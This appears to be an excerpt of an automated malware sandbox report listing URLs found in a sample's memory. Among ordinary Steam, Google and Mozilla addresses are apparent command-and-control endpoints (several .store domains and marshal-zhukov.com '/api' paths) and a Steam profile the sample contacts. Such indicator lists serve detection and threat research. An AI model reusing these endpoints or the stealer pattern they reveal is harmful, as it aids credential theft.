Source: file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 580f9a92c2.exe, 00000014.00000003.2755338264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: 580f9a92c2.exe, 00000014.00000003.2755338264.000000000134E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2755338264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apibcryptPrimitives.dllk
Source: chromecache_81.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fadehairucw.store:443/api
Source: chromecache_79.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_79.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_79.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_79.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/api
Source: 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apii
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/enk
Source: GCFHDAKECFIDGDGDBKJD.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 580f9a92c2.exe, 00000011.00000003.2587939982.0000000001322000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2879305367.00000000013CF000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001383000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2782043378.0000000001392000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781687334.000000000134E000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2879484148.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: 580f9a92c2.exe, 00000014.00000003.2879305367.00000000013CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/(
Source: 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001383000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2782043378.0000000001392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/)
Source: 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2614139210.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000138A000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2612437786.0000000001389000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2656660576.000000000138B000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2623003614.0000000001389000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534373023.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534083553.0000000001322000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586681389.0000000001389000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2569576526.0000000001389000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2612985649.000000000138B000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2866434444.00000000013FB000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2853258058.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2782093488.0000000001379000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2842216213.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001383000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2836790919.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2841308329.00000000013EF000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2879413866.00000000013FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: 580f9a92c2.exe, 00000014.00000003.2866434444.00000000013FB000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2879413866.00000000013FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiU
Source: 580f9a92c2.exe, 00000011.00000003.2559177962.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apis
Source: 580f9a92c2.exe, 00000011.00000003.2586681389.0000000001389000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2569576526.0000000001389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiwN
Source: 580f9a92c2.exe, 00000014.00000003.2866268170.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2853136038.00000000013E9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2879484148.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/l
Source: 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012E5000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000002.2748924112.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api
Source: 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apib
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/api
Source: 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/apij
Source: 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: chromecache_79.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: 580f9a92c2.exe, 00000014.00000003.2755338264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store/
Source: 580f9a92c2.exe, 00000014.00000003.2755338264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store/E
Source: 580f9a92c2.exe, 00000014.00000003.2755338264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/api
Source: 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/apiA
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 580f9a92c2.exe, 00000014.00000003.2782093488.0000000001379000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2773096940.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scriptyprefej.store/api
Source: 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scriptyprefej.store:443/api
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781687334.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 580f9a92c2.exe, 00000011.00000003.2534445687.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/E
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 580f9a92c2.exe, 00000011.00000003.2569576526.000000000137A000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587559356.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2601492562.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586681389.0000000001376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfil
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559683905.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559975310.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534445687.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781687334.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559177962.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.000000000133F000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2614139210.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587939982.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559683905.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2603565001.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559177962.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559975310.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781687334.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319002
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/u
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012E5000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781687334.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2773044975.0000000001393000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C80f26d8df816a96
Source: 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
